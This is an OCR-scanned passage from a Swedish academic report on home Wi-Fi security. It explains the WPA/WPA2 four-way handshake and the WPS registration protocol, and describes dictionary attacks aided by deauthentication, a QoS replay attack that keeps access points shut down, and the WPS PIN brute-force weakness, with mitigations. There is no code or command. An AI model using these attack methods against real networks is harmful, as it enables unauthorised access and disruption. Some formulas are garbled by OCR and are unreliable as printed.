counter mode) och CBC-MAC (Cipher Block Chaining MAC). Ett blockchiffer delar
upp data i lika stora block och krypterar dessa block var for sig. Se Appendix E for en
beskrivning av krypteringen.

2.4.2 Fyrvigshandskakningen i bide WPA och WPA2

For att det ska bli mgjligt for hemanvéndaren att kommunicera Over det tradlosa
natverket pa ett sdkert sitt behdver anvéndaren upprétta en krypterad anslutning till sin
hemrouter. Denna process kallas fyrvigshandskakning.

Innan fyrvdgshandskakningen dger rum sker forst ett utbyte av ett antal paket mellan
klienten och accesspunkten 1 vilken associering och autentisering sker. Efter detta kan
fyrvdgshandskakningen inledas, vilken beskrivs steg for steg nedan dir varje bild
representerar ett utav de fyra stegen som utgdr handskakningen. Om ett forsok att
uppritta en krypterad anslutning misslyckas blir klienten bide avautentiserad och
avassocierad.

Forutom att etablera en sidker forbindelse berdknas dven en PTK (Pairwise Transient
Key) under handskakningen. PTK partitioneras till tre nycklar om sékerhetsprotokollet
WPA?2 anvénds vid handskakningen, och fyra nycklar om sdkerhetsprotokollet WPA
anvinds. Partitionerna benimns KEK (Key Encryption Key), TK (Temporal Key) och
KCK (Key Confirmation Key). Dessa nycklar fyller olika funktioner. Bland annat
anvénds de till att producera MIC-virden samt kryptera trafiken i det tradlosa nétverket.
Nyckelhierarkin beskrivs utforligare i Appendix D.
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Klient Accesspunkt

Figur 7. Paket 1: Accesspunkten skickar nonce A till klienten.

Klienten skickar en forfragan till accesspunkten om att fa ansluta till denna.
Accesspunkten genererar ett nonce, hér kallat A4, efter mottagen forfrdgan. Ett nonce
ar ett godtyckligt tal som bara anvénds en gang i ett krypterat kommunikationssystem.
Nonce A skickas 1 klartext till klienten vilket illustreras i Figur 7. Nér klienten
mottagit nonce 4 samt accesspunktens MAC-adress, vilken fanns i samma paket som

A, genereras PTK. Dock kan inte en angripare gora ndgot som riskerar sikerheten
med endast detta paket. Det som kan hidnda om angriparen till exempel modifierar
nonce A é&r att handskakning misslyckas.

?\
((\R\ S, KCK(MIC) >(\h

Klient Accesspunkt
Figur 8. Paket 2: Klienten skickar S och MIC till accesspunkten.

Niér paketet fran accesspunkten mottagits konstruerar klienten det andra paketet, vilket
bestar avnonce S och MIC. MIC-virdet fas genom att anvdnda S som indata till
funktionen Michael. En beskrivning av processen finns i Appendix C. Som visas i Figur
8 skickas § 1 klartext medan MIC skickas krypterad med KCK. Genom att kryptera

MIC med nyckeln KCK krivs indirekt att avsdndaren maste kénna till nitverkets
PMK, d& den behovs for att generera KCK-nyckeln. En PMK [5, pp. 4] (Pairwise
Master Key) ar samma sak som ett hemnétverks PSK. En angripare kan fortfarande inte
gora nagot som riskerar sidkerheten, &ven om denne har fangat bade detta och fGrra
paketet.

(\
((\R\ D < KEK(GTK), KCK(MIC) (L

Klient Accesspunkt
Figur 9. Paket 3: Accesspunkten skickar GTK samt MIC till klienten.

Nér accesspunkten mottagit det andra paketet genererar ocksé accesspunkten en PTK.
Utover denna nyckel genereras ocksd GTK (Groupwise Transient Key), vilken dr en
nyckel som anvédnds av klienten for att kunna dekryptera flersdndningstrafik (eng.
multicast). Accesspunkten dekrypterar det MIC-védrde som klienten skickade. Samma
berdkning som klienten gjorde utfors dven av accesspunkten. Om det MIC-vérde som
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accesspunkten erhiller fran berdkningen stimmer 6verens med det dekrypterade MIC-
virde antas det att klienten anvint sig av samma PMK som accesspunkten. Detta dr
aven ett sitt for klienten att forsdkra sig om att accesspunkten dr den som den péstar sig
vara. Denna verifikation anvinds eftersom en angripare annars skulle kunna forsoka fa
en klient att ansluta till dennes accesspunkt. Om MIC-vdrdena Overensstimmer
genererar accesspunkten en ny M/C, med GTK som indata, och krypterar denna
med KCK-nyckeln. Darefter skickas MIC och GTK till klienten vilket illustreras i
Figur 9. GTK ér krypterad med KEK-nyckeln.

@\ D_ KEK(ACK), KCK(MIC) fh

Klient Accesspunkt
Figur 10. Paket 4: Klienten skickar MIC och en ACK till accesspunkten.

Niér klienten mottagit det tredje paketet i fyrvigshandskakningen genereras en MIC
och en bekriftelse (ACK) pa att data nu kan skickas krypterat dem emellan. Som Figur
10 visar skickar klienten detta paket till accesspunkten. Efter att detta paket mottagits
kan en krypterad anslutning upprittas. Detta dr resultatet av en lyckad handskakning.

2.4.3 Attacker och brister

En brist som bdda sidkerhetsprotokollen WPA och WPA2 delar dr att de inte kraver ett
starkt l6senord [5, pp. 166]. Detta 6kar sannolikheten att en angripare som avlyssnat en
genomford fyrvigshandskakning kan gissa néitverkslosenordet.

2.4.3.1 Forceringsattack med ordlista

En ordlisteattack (eng. Dictionary attack) ar en forceringsteknik dir ord frén ordlistor
anvinds for att gissa ndtverkslosenordet i WPA och WPA2. Om en anvéndare har ett
svagt 16senord ér sannolikheten storre att 16senordet finns i en ordlista. Det finns ett
stort antal ordlistor att vélja av, vilka kan hdmtas pa bland annat Internet. Dessa kan till
exempel bestd av vanligt forekommande ord da anvindare har en tendens att vélja
16senord som dr létta att komma ihag.

Det en angripare behdver for att kunna genomfora attacken, forutom en ordlista, ir en
avlyssnad fyrvigshandskakning. Handskakningen utférs endast nir en anvindare
forsoker ansluta till ett tradlost ndtverk som anvinder sdkerhetsprotokollet WPA eller
WPA2, vilket innebir att angriparen maste védnta pa att detta sker. Om klienter finns
anslutna till det tradlosa nétverket som avlyssnas kan angriparen forsoka avautentisera
en av dessa, vilket ofta leder till att klienten automatiskt &terautentiserar sig mot
nitverket. P4 detta sétt kan en angripare snabba upp processen att komma &ver en
fyrvagshandskakning och paborja forceringen av l16senordet.

Attacken kan resultera i att en angripare far fram I6senordet snabbare an vid en
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traditionell forceringsattack. Detta forutsétter dock att 16senordet finns i ndgon utav de
ordlistor som anvénds.

2.4.3.2 Attack som utnyttjar Quality of Service

Sakerhetsprotokollen WPA och WPA2 har en mekanism vid namn QoS (Quality of
Service) som anvinds for att dndra ett pakets prioritet. Detta innebér att en enhet kan ta
emot paket 1 en annan f0ljd an den forutbestimda. Som en konsekvens av
implementeringen av QoS i sékerhetsprotokollet WPA kan aterspelningsattacker utforas.
Dessa attacker utnyttjar att accesspunkten stings ner varje gang en klient, vilken har
QoS aktiverat, erhéllit tvd felaktiga MIC-virden under en period pa hogst 60 sekunder.

En attack [17] som utnyttjar denna brist fungerar pé sé sitt att en angripare avlyssnar ett
multi- eller broadcast-paket som skickats fran en accesspunkt. Angriparen modifierar
dérefter QoS-prioriteten pé paketet och skickar det tva ganger till varje klient i det
tradlosa nédtverket. Om en klient har QoS aktiverat kommer denne att skicka tva paket
som svar till accesspunkten. Eftersom bada paketen skickas inom loppet av 60 sekunder
kommer accesspunkten att stingas ner, &ven om denne har QoS inaktiverat. Detta sker
for att skydda mot en eventuell aterspelning av paket. Det racker alltsd att endast en
klient 1 ndtverket har QoS aktiverat for att utnyttja denna brist. Nedstdngning innebér att
alla klienters anslutningar avslutas och att accesspunkten inte géar att ansluta till under
60 sekunder. Om attacken utférs varje minut kommer accesspunkten att vara konstant
nedsténgd.

Ett sétt att motverka denna brist dr att konfigurera accesspunkten att anvinda enbart
WPA2. Denna konfiguration resulterar 1 att varje enhet som vill ansluta till
accesspunkten mdste anvidnda sdkerhetsprotokollet WPA2 for att inte bli nekad
anslutning. Eftersom implementationen av QoS inte utgdr ett problem 1 WPA2, utan
endast i WPA, blir attacken verkningslos. Observera dock att om accesspunkten &r
konfigurerad att anvinda WPA och WPA2 i1 kombinerat ldge (eng. Mixed Mode) tillats
fortfarande enheter att ansluta &ven om dessa anvinder sidkerhetsprotokollet WPA.

2.5 Sikerhetslosningen Wi-Fi Protected Setup

WPS (Wi-Fi Protected Setup) ar ett hjdlpmedel for att lata anvindare ansluta enheter till
tradlosa hemndtverk pd ett enkelt sétt, trots att de inte har kunskap om den
underliggande teknologin. Nu behdver anvdndaren till exempel inte veta att SSID
refererar till ndtverksnamnet eller att WPA2 &r det sékerhetsprotokoll som anvénds. Ett
annat syfte med WPS é&r lata anvindare installera nya hemnidtverk med hog
sdkerhetsnivd. WPS bygger pd den senaste versionen av WSC. WSC, som uttyds Wi-Fi
Simple Configuration, ar den specifikation som beskriver hur WPS ska fungera [18]. I
specifikationen ndmns flera sekunddra anvindningsomrdden s& som att utdka ett
hemnétverk med ytterligare accesspunkter samt byta nitverksnamn (SSID).

WPS framtogs for att stodja konsumentprodukter som foljer standarden 802.11. Det dr
anpassat for tradlosa enheter i en hem- eller mindre kontorsmiljo. I januari ar 2007
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certifierade Wi-Fi Alliance de forsta enheterna med stod for WPS [7]. Sedan dess har
ytterligare funktioner introducerats for att géra WPS enklare och sékrare att anvénda.

2.5.1 Specifikation
WPS definierar nya informationselement som inkluderas i beacon-ramar, probe-
forfragningar och probe-svar. Enheter ska kunna utnyttja dessa element for att
tillkdnnage att de stddjer WPS. Information som erhéllits fran dessa element verifieras
inte av mottagaren.

I Figur 11 presenteras de tre logiska huvudkomponenterna och hur de samverkar via
granssnitt 1 WPS. Dessa komponenter &dr en registrator, en klientenhet och en
accesspunkt. Registratorn dr en enhet som har befogenhet att utfirda och aterkalla
nitverksautentiseringsuppgifter. Ar en registrator integrerad i en accesspunkt benimns
den intern registrator. En registrator som ar helt atskild fran accesspunkten benimns
extern registrator. Ett nidtverk kan ha flera registratorer. En klientenhet (eng. enrollee) ér
en enhet som soker anslutning till ndtverket och kan ansluta till detta nér den erhillit
giltiga autentiseringsuppgifter.

Accesspunkt

E M

Klientenhet Registrator
A

Figur 11. Sambandet mellan de tre logiska enheterna som samverkar i WPS.

For att ldgga till enheter till ett tradlost ndtverk kors ett registrationsprotokoll mellan
den nya enheten och accesspunkten. Om den nya enheten ldggs till som en extern
registrator kan denna anvéndas for att lagga till ytterligare enheter.

En registrator och en klientenhet utbyter data via ett granssnitt som i Figur 11 &r
markerat med A. En accesspunkt kan fungera som en proxy for att formedla
meddelanden mellan klientenhet och registrator. Syftet med gréanssnittet dr att gora det
mojligt  for  registratorn att  uppticka en  klientenhet och  formedla
nétverksautentiseringsuppgifter till denna. Gréinssnittet innehéller oftast enbart trafik
som skickas dver den trddlosa kanalen, det vill sdga in-band, men kan ocksa innehalla
trafik fran en out-of-band-kanal. Ett exempel pd en out-of-band-kanal &r NFC.

Det finns ocksé ett granssnitt mellan accesspunkt och registrator. Detta dr markerat med
ett M 1 Figur 11. Detta later en extern registrator konfigurera accesspunkten. WPS
anvinder samma protokoll for att uppritta konfigurationsgrénssnittet pd accesspunkten
som f0r att skicka autentiseringsuppgifter till klientenheten.
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Det tredje och sista grinssnittet som forekommer 1 WPS finns mellan klientenhet och
accesspunkt vilket i Figur 11 dr markerat med E. Syftet med detta granssnitt dr att gora
det mojligt att upptéacka tradldsa ndtverk som har stod for WPS.

WPS-certifierade produkter ska erbjuda anvidndare minst en av de tva foljande
installationsmetoderna: PIN (Personal Identification Number) eller PBC (Push Button
Configuration). En utforlig beskrivning av dessa metoder finns i Appendix F. En
accesspunkt maste erbjuda bade PIN och PBC medan en klientenhet méste dtminstone
ha stdd for installation med PIN.

2.5.1.1 Registrationsprotokollet
Det registrationsprotokoll [ 18, Ch. 7] som anvénds har bland annat f6ljande syften:

* Hjélpa till att felsoka anslutningsproblem 1 den tradlosa kanalen.

* Identifiera klientenheten for registratorn och registratorn for klientenheten
genom utbyte av information out-of-band. Detta mojliggér konfiguration av
autentiseringsuppgifter.

* Bestdmma vilken roll (registrator, klientenhet, accesspunkt) som varje enhet ska
ha.

 Overfora instillningar for ett tradlost nitverk fran registrator till klientenhet pé
ett sikert sétt.

I registrationsprotokollet utbyts maximalt tta meddelanden i tva faser. Den forsta fasen
kallas uppticktsfasen (eng. discovery phase) och anvinds for utbyte av information
mellan registrator och klientenhet. Denna fas ar obligatorisk. For en klientenhet har
uppticktsfasen tva syften. For det forsta later den enheten hitta tillgéngliga registratorer
och for det andra att den blir synlig for registratorerna. En utforligare beskrivning av hur
upptécktsfasen genomfors aterfinns i Appendix G.

Under uppticktsfasen kan en klientenhet utbyta meddelanden med flera olika
accesspunkter och registratorer pa nétverket. Om béade klientenheten och registrator
bestammer sig for att gd vidare med registrationsprocessen paborjas den andra fasen.
Denna fas avslutas med att klientenheten forses med nitverksautentiseringsuppgifter.

Registrationsprotokollet jobbar stegvis och avslutas med ett utav foljande meddelanden:
M, M,, eller M.

* M, avslutar endast registrationsprotokollet om meddelandet skickats via en
out-of-band-kanal. Skulle anslutningen vara en trddlos kanal autentiseras datan i
ett annat steg. Detta gor att forsta och andra fasen av protokollet kombineras och
bara en rundtur (eng. round-trip) behdvs, det vill sidga ett meddelande behover
bara skickas fram och tillbaka en gang.

* M,, indikerar att registratorn inte kan autentisera klientenheten som inledde
protokollet.

* M, avslutar andra fasen. Fasen anvénds fOr att successivt utfora dmsesidig
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autentisering av registratorn och klientenheten baserat pa klientenhetens
enhetskod. I detta meddelande levereras de slutgiltiga
nitverksautentiseringsuppgifterna till klientenheten.

Kors WPS in-band uppmanas anvidndaren att ange klientenhetens PIN-kod till
registratorn. Meddelande M, till M, anvénds for att stegvis visa att bdda enheterna
har kdnnedom om PIN-koden. Nir bada enheter bevisat detta sker ett utbyte av
krypterad data. Krypteringen av alla meddelanden ar baserat pd en KDK (Key
Derivation Key) vilket dr en krypteringsnyckel som berdknats fran en Diffie-Hellman-
hemlighet, nonce och klientenhetens MAC-adress.

2.5.1.2 Initiering

Ett meddelande 1 registrationsprotokollet identifieras med hjélp av ett nonce och
autentiseringsattribut. Mottages ett meddelande med ett felaktigt nonce eller
autentiseringsattribut ska mottagaren ignorera meddelandet. Ett felaktigt nonce ar ett
som inte dr forutbestimt mellan enheterna. Om UPnP (Universal Plug and Play)
anvinds vid transport kan meddelandet skickas pd nytt tills det accepteras eller en
begrinsning nas och protokollet avbryts. Nar EAP (Extensive Authentication Protocol)
anvéinds for datatransport dr det enbart IEEE 802.1X som ansvarar for omséndning. I
den senaste WPS-specifikationen [18, pp. 45] rekommenderas foljande begrinsande
tidsintervaller: tiden mellan omséndning < 5 sekunder, tid for individuell behandling av
meddelande < 15 sekunder och tid for hela protokollet att kéras < 2 minuter. Skulle
dessa 2 minuter passera innan ett giltigt meddelande mottagits ska all data, med
undantag av felloggar, kopplat till registrationsprotokollet tas bort.

2.5.1.3 Registrationsprotokollets meddelanden

Figur 12 beskriver registrationprotokollet som anvidnds i WPS genom att presentera de
atta meddelanden som utbyts och dess innehall.
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Meddelande |Interaktion Innehall
M, Klientenhet — Registrator | Version || N1 || Description || PK,
M WVersion || N1 || N2 || Description || PKp. [ || ConfigData] |
A Klientenhet — Registrator
HMAC, . M | M)
M Klicatenhet —» Rewistrat WVersion || N2 || E-Hashl || E-Hash2 ||
M, ientenhet — Registrator
E < HMAC, ..M, | M,)
Version || N1 || R-Hash1 || R-Hash2 |[ENC______ (R-51) |
M Klientenhet +— Registrator KayTiapkey
¢ HMAC, . (M, | M,)
Version || N2 || ENC,_.. . (E-S1} |
M, Klientenhet — Registrator eFuirapley
e HMAC, mm}_f_\*[ |l }I;}
WVersion | N1 || ENC___ (R-S2)||
M, Klientenhet «— Registrator KeyWrepley
£ HMAC, mm}_&*[i [ M;}
Version | N2 |[ENC____ (E-S2[| ConfigData ]} ||
M. i — i Keyiapkey
- Klientenhet — Registrator Hmc-mﬁayms I M?')
WVersion | N1 || [ENC___ . _ (ConfigData) ] ||
M : Y Red: KeyWragKey
. Klientenhet «+— Registrator HMA C_;MKELD'{- I }IE-)

Figur 12. Registrationsprotokollet som anvinds i WPS.

|| innebdr att parametrarna sammanfogas for att bilda ett meddelande.
Indexering som anvinds i samband med kryptografiska funktioner refererar till
den nyckel som anvénds.

M, irmeddelande M, exkluderat virdet av HMAC-SHA-256.

Version identifierar typen pa registrationsprotokollemeddelandet.

N1 ér ett 128 bitar langt nonce specificerat av klientenheten. Ett nytt varde pa

N1 ska genereras nér protokollet initieras. En registrator ska anvénda véardet
padet NI som mottagits i meddelande M, fran klientenheten.

N2 ar ett 128 bitar ldngt nonce specificerat av registratorn. Ett nytt virde pa

N2 ska genereras nir protokollet initieras. En klientenhet ska anvinda vérdet
padet N2 som mottagits i meddelande M,/ M ,, fran registratorn.

Description innehdller en beskrivning av enheten och dess funktioner.

PK, och PK, ir klientenhetens respektive registratorns publika nycklar i
Diffie-Hellman.

AuthKey ar autentiseringsnyckeln hérledd fran Diffie-Hellman-hemligheten

(g””mod p), NI, N2 samtklientenhetens MAC-adress.

E—Hashl och E—Hash2 anvinds av klientenheten for att bevisa att den
kanner till de tva delarna av enhetens egna PIN-kod.

R—Hashl och R—Hash? anviands av registratorn for att bevisa att den
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kénner till de tva delarna av klientenhetens PIN-kod.

e ENC KemepKe){ ..) anvinds for att indikera att virdena inuti parentesen ir
krypterade med den symmetriska nyckeln KeyWrapKey .
Krypteringsalgoritmen dr AES-CBC.

* R-SI och R-S2 é&r tva hemliga 128 bitar langa nonce som tillsammans
med R—Hashl och R—Hash2 kan anvdndas av klientenheten for att
bekréfta att registratorn kan forsta respektive andra delen av klientenhetens PIN-
kod.

e FE—-SI och E-S2 iar tva hemliga 128 bitar langa nonce som tillsammans
med E—Hashl och E—Hash2 kan anvindas av registratorn for att bekrifta
att klientenheten kan forsta respektive andra delen av klientenhetens PIN-kod.

s HMAC,,.(..) anvinds for att indikera autentiseringsattributet HMAC.

N
HMAC, som uttyds Hash Message Authentication Code, anvinds for att berdkna
ett valideringsvarde. Detta gors med hjélp av en kryptografisk hashfunktion och
den hemliga kryptografiska nyckeln AuthKey .

*  ConfigData innehéller instillningar for det tradlosa nédtverket samt
klientenhetens autentiseringsuppgifter. Ytterligare instéllningar for andra nitverk
och applikationer kan inkluderas. I Figur 12 & ConfigData krypterad, detta ar

dock inget krav.

2.5.1.4 Bevisad kinnedom av PIN-koden

E—Hashl hérleds fran protokollparametrarna och PIN-koden enligt foljande. Forst
omvandlas PIN-koden till tva stycken 128 bitar langa 16senord enligt:

PSK1=de forsta 128 bitarnaav HMAC Au,hKey( forsta delen av PIN — koden)

PSK2=de forsta 128 bitarna av HMAC ,,, Kgy( andra delen av PIN — koden)

Om PIN-kod anvénds bestar den av en ASCII-representation av dess decimalvarde. Om
till exempel PIN-koden dr “41607642” skulle den uttryckas med de &tta ASCII-
symbolerna “41607642”. PSKI skulle d& hérledas frin HMAC av “4160” och

PSK2 fran HMAC av “7642”. Om istillet en out-of-band-kanal anvénds vid
exekveringen av registrationsprotokollet skulle enhetslosenordet uttryckas hexadecimalt
med ASCII-symboler.

Klientenheten skapar tvad hemliga nonce pa vardera 128 bitar, vilka kallas E—SI och
E—S82. Dérefter berdknas:

E—Hashl=HMAC 4k, (E—SI1||PSKI1|| PK ;|| PK z)
E—Hash2=HMAC ,,yx.,(E —S2||PSK2 || PK ;|| PK )

Registratorn skapar tvd hemliga nonce pa vardera 128 bitar, vilka kallas R—S/ och
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R—S2. Direfter berdknas:

R—Hashl =HMAC ,,,x.{ R—S1||PSK1||PK .| PK )
R—Hash2=HMAC ;. R—S2||PSK2|| PK ;|| PK ;)

Dessa hashvirden utvéxlas successivt och verifieras 1 meddelande M, till M,. Om

en verifikation av ena delen av PIN-koden misslyckas méste den mottagande sidan
bekrifta meddelandet med felindikationen WPS-NACK. Registratorn och klientenheten
ska sedan avbryta protokollet och kassera alla nycklar och nonce som anvindes i
sessionen.

2.5.2 Sékerhet

Som tidigare ndmnts finns tva sétt att kora WPS, det forsta ar in-band och det andra out-
of-band. Nar WPS kors in-band anvinds Diffie-Hellman for att utfora och autentisera
nyckelutbytet. Nyckelutbytet sker med hjélp av en delad hemlighet; PIN-koden. Det dr
klientenhetens PIN-kod som ska anges till registratorn och denna kan anges antingen
manuellt eller med hjédlp av NFC. NFC kan anses sdkrare d& det inkluderas en hash av
klientenhetens publika krypteringsnyckel i meddelandet.

2.5.2.1 PIN-koden

Alla enheter med stod for WPS maste erbjuda minst ett numeriskt enhetslosenord, det
vill siga en PIN-kod, for initial installation. Enhetslosenordet ska vara unikt och
slumpmaéssigt genererat. Denna far inte baseras pa enhetens karakteristiska uppgifter, sa
som MAC-adressen, di dessa uppgifter kan erhdllas. Anvidnder en enhet flera
enhetslosenord ska dessa vara kryptografiskt atskilda frdn varandra. Om en enhet har
bade en PIN-kod och ett enhetslsenord kopplat till NFC ska dessa vara helt olika och
atskilda.

Den rekommenderade ldngden pa ett enhetslosenord som ska anges manuellt dr atta
siffror, varav den sista anvinds for verifiering och dr berdknat pd de forsta sju. I
registrationsprotokollet som anvdnds av WPS bevisar enheterna kdnnedom av PIN-
koden genom att den verifieras i tvd delar. Figur 13 visar var PIN-koden delas upp och
positionen pa kontrollsumman.

O 1{ 213|456 7

.. Kontrollumma
Fmﬁta_ Andra delen av
delen av PIN kod
PIN-koden —eoden

Figur 13. Uppdelning av PIN-kod bestdende av dtta siffror. Dessutom dr
kontrollsummans position utmarkerad.
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Denna ldngd ger inte tillrackligt hog entropi for att kunna erbjuda en stark omsesidig
autentisering, designen av registrationsprotokollet ska dock forhindra attacker mot PIN-
koden om en ny genereras varje gédng protokollet kors. Specifikationerna for PIN-koden
aterfinns 1 Appendix H.

2.5.2.2 Exekvering av WPS in-band

Det registrationsprotokoll som anviands vid WPS ar designat for att skydda mot passiva
attacker som till exempel avlyssning, och aktiva attacker sa som forcering. Vid forcering
forsoker angriparen gissa sig till ett 16senord. Skyddet fungerar pd sd vis att om en
registrator borjar kommunicera med en angripare, som den tror dr en legitim
klientenhet, uppticker registratorn om fel PIN-kod angivits. Upptickten sker innan
registratorn har hunnit ldmna ifrdn sig tillrdckligt med information om PIN-koden.
Informationen skulle kunna utnyttjas vid en forceringsattack. Dock ar det mdjligt f6r en
angripare att komma over PIN-koden om registratorn kor registrationsprotokollet med
samma PIN-kod flera génger. Angriparen kan da fa tag 1 tillrdckligt med information for
att kunna utféra en forceringsattack utan att vara ansluten. For att atgdrda denna
sérbarhet ska registratorn varna anviandaren och inte automatiskt anvinda samma PIN-
kod.

2.5.2.3 Skdrmldsa enheter

Den grundliggande sédkerhetsnivin for WPS bestims av PIN-koden. Enheter som
saknar skdrm ska ha en atta siffror lang PIN-kod. Koden ska finnas synlig pa enheten,
ofta pa ett klistermarke.

Den storsta begransningen dr inte lingden pa PIN-koden utan att den kan vara statisk.
Detta innebér att koden kan dteranvéndas och dirav &r mottaglig for en aktiv attack.

En vanlig skdrml6s enhet péd det tradlosa nitverket dr accesspunkten. Om mojligt ska
accesspunkten generera och visa ett nytt och temporért enhetslosenord varje ging
registrationsprotokollet kors for att ansluta externa registratorer. I detta fallet agerar
accesspunkten klientenhet. Skulle en statisk PIN-kod anvédndas é&r accesspunkten
tvungen att halla reda pa hur manga felaktiga autentiseringsforsok som gors av en
extern registrator, och placeras 1 Iast tillstind om fler &n tio felaktiga
autentiseringsforsok gors. Detta oavsett hur lang tid det gar mellan forsdoken och hur
manga externa registratorer som forsOker initiera registrationsprotokollet.
Accesspunkten ska forbli 1 1dst tillstind pa obestimd tid tills anvéndaren aktiverar
funktionen som gor det mojligt for externa registratorer att aterigen anvinda PIN-koden.

I Iast tillstdnd maste accesspunkten neka initiering av registrationsprotokollet med en
extern registrator. Detta skyddar accesspunktens PIN-kod mot forceringsattacker dér
angriparen utger sig for att vara en ny extern registrator. I det lasta tillstindet dr det dock
mdjligt att ansluta klientenheter till det trddldsa ndtverket men inte externa registratorer
dar accesspunktens PIN-kod ska anges.
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Accesspunkten kan ha ytterligare sdkerhetsitgdrder implementerade. Dock maéste
enheten alltid hamna 1 18st tillstdnd efter tio felaktiga forsok. Till exempel kan en
accesspunkt ha en temporar lasningsprocess déar den spenderar tid i last tillstand mellan
misslyckade forsok. Tiden som spenderas i detta temporéra tillstind kan 6ka stegvis.

Funktionen som mojliggdr Aatergdng till normalt tillstdind maste innehélla
anvandarinteraktion. Till exempel skulle en anvidndare kunna gi in pd accesspunktens
webbgrinssnitt och med en knapptryckning ldmna det 1dsta tillstandet, eller starta om
sin accesspunkt.

I den éldre, och forsta, specifikationen av WPS [19] fanns inte alla dessa sdkerhetskrav.
Enheter som anvénder denna specifikation har darfor inte samma skydd.

2.5.2.4 Enheter med skérm

En enhet med skdrm maste generera en fyra till atta siffror lang PIN-kod vilken visas pa
skdrmen varje gang registrationsprotokollet initialiseras. Denna metod har tva fordelar,
dels kan enhetslosenordet endast anvdndas en gang och dr da inte mottaglig for den
forceringsattack som ndmns ovan. Dels &r det enligt WSC-specifikationen [18, pp. 24]
enklare att tillverka enheter som dynamiskt genererar PIN-koder &n att konfigurera dem
med en PIN-kod och trycka denna pé ett klistermérke i fabriken.

2.5.2.5 Enheter med NFC

Om en registrator har stod for samma out-of-band-kanal som klientenheten kan denna
kanal anvindas for att skicka sékrare enhetslosenord, som ett slumpat tal med en langd
pa 256 bitar, till registratorn. Hashkoden av klientenhetens publika nyckel inkluderas
ocksa. Metoden ska std emot angripare som till och med lyckats ldsa data via out-of-
band-kanalen. Angriparen kan dock lura en klientenhet att tro att den &r ansluten till
onskat nédtverk medan den i sjélva verket &r ansluten till angriparen, om den lyckas
avlyssna registrationsprotokollet och anvinda denna information.

2.5.2.6 Konfigurationskrav

I senaste WSC-specifikationen [18, pp. 83] tas avstdnd fran anvindandet av WEP och
WPA-TKIP i WPS. En accesspunkt med WPS aktiverat far endast stddja WPA-PSK da
kombinerat 14ge (eng. Mixed Mode) ér aktiverat, det vill sdga nir WPA- och WPA2-PSK
anvands samtidigt. Som standard ska en accesspunkt konfigureras med WPA2-PSK av
en registrator.

Nér en accesspunkt dr konfigurerad ska den antingen vara Oppen eller ha WPA2
aktiverat. Stodet for WPS ska inaktiveras om accesspunkten konfigureras med WEP
eller enbart WPA. Om accesspunkten agerar Over flera ndtverk ska WPS endast
inaktiveras pa de niatverk som valt WEP eller WPA.

Registratorer ska inte forse klientenheter med WEP- eller WPA -autentiseringsuppgifter.
En registrator med stdd for den éldre versionen av WPS [19] har inget krav pd att

24



konfigurera en accesspunkt med WPA2. Skulle registratorn vilja anvinda WPA-PSK ska
accesspunkten vilja kombinerat lage istéllet. Om en registrator forsoker konfigurera den
med WEP ska processen misslyckas.

2.5.2.7 Accesspunkt med extern registrator

WPS utvecklades med antagandet att den person som har fysisk tillgdng till
accesspunkten har tillstdnd att ansluta enheter till det tradlosa nédtverket. Om natverket
ar skyddat maste varje enhet ha autentiseringsuppgifter. Autentiseringsuppgifterna
innehaller ofta WPA2-lI6senord och SSID. Antingen delar accesspunkten ut dessa
uppgifter eller delegeras distributionen till en eller flera externa registratorer.

En extern registrator ska forse klientenheter med autentiseringsuppgifter och
konfigurera nitverkets accesspunkter sa att de accepterar dessa. Den kan ocksa ge en
anvindare information som underléttar felsokning av ndtverket, eller hjélper denne att
lagga till en enhet. En extern registrator kan ha ett antal sekundira anvindningsomraden
som till exempel ge géstatkomst och koppla bort enheter.

Figur 14 visar den WPS-process som krivs for att ansluta en extern registrator till en

accesspunkt och hur denna process anvinder sig av EAP (Extensive Authentication
Protocol) for utbyte av meddelanden.
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Anvindare Registrator Accespunkt

P Beacon |
Probe-Forfrigan 5
Probe-Svar 3
Accesspunktens PIN-kod
———————————————— > 4
EAPOL-Start
_ EAP-Request/Identity 5

EAP-Response/Identity
) EAP-Request (M,)
EAP-Response (M,) >
p EAP-Request (M;)
EAP-Response (M,)
. EAP-Request (Ms) 6
EAP-Response (M) R
p EAP-Request (M)
EAP-Response (My)
< EAP-Request (Done) [
EAP-Response (ACK)
EAP-Fail

<

Avautentisering

<

Figur 14. EAP-baserad installation av extern registrator.

1.

2.

Accesspunkten skickar ut beacon som inkluderar ett informationselement som
indikerar att den stodjer WPS.

En extern registrator skickar en probe-forfragan som innehaller information om
att den kan fungera som en registrator till det trddlosa nitverket.

. Accesspunkten skickar ett probe-svar till registratorn som innehéller information

om att den &r en accesspunkt.

Anvindaren anger PIN-koden i registratorn. Alternativt kan out-of-band-
kommunikation anvindas, till exempel NFC.

Den externa registratorn initierar en 802.1X-anslutning med identifikationen
WFA-SimpleConfig-Registrar-1-0.

. Accesspunkten och registratorn utbyter meddelande M, till M, enligt

registrationsprotokollet. Meddelande M, till M, innehéller information som
mojliggdr dmsesidig autentisering. M, innehaller accesspunktens nuvarande
nétverksinstillningar och M kan innehélla nya instdllningar specificerade av
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registratorn.

7. Accesspunkten inleder slutfasen genom att skicka EAP-Done. Registratorn
svarar med ett EAP-ACK. Accesspunkten avslutar sedan protokollet med EAP-
Failure. Trots namnet anvidnds EAP-Failure for att indikera att processen
genomforts utan problem.

2.5.3 Brister

Trots att WPS marknadsfors som ett enkelt sétt att installera ett nytt ndtverk med hog
sikerhet [20] innehaller den tidigare, och fortfarande anvinda, specifikationen av WPS
[19] brister. Stefan Viehbock upptickte och rapporterade ett par brister [21]. Trots att
dessa rapporterades ar 2011 finns det 1 dag inga officiellt erkdnda losningar pa
problemet enligt CERT [22]. CERT ir en vélkidnd organisation som ska sdkerstélla att
lamplig teknik och systemforvaltningsmetoder anviands for att motstd angrepp pa
nitverksanslutna system. Det dr frimst tvd av bristerna som gor det mojligt for en
angripare att ta sig in pa ett tradlost hemnitverk som annars har tillrackligt skydd.

2.5.3.1 Felaktig design av installationsmetod

Den ena installationsmetoden anvinder sig av en PIN-kod. Antingen ska klientenhetens
PIN-kod anges i den trddlosa routerns webbgranssnitt (intern registrator) eller sa ska
accesspunktens PIN-kod matas in 1 klientenheten (extern registrator).
Installationsmetoderna presenteras ndrmare i Appendix F.

I Tabell 1 presenteras de grinssnitt en anvidndare behover tillgdng till for att kora de
olika installationsmetoderna. I det fall nir en extern registrator anvdnds behdvs endast
tillgédng till accesspunktens PIN-kod. Detta innebér att den dr mottaglig for sa kallade
forceringsattacker, det vill sdga att en angripare forsoker gissa sig till PIN-koden.

Tabell 1. Grdnssnitt som behdvs vid olika installationsmetoder i WPS.

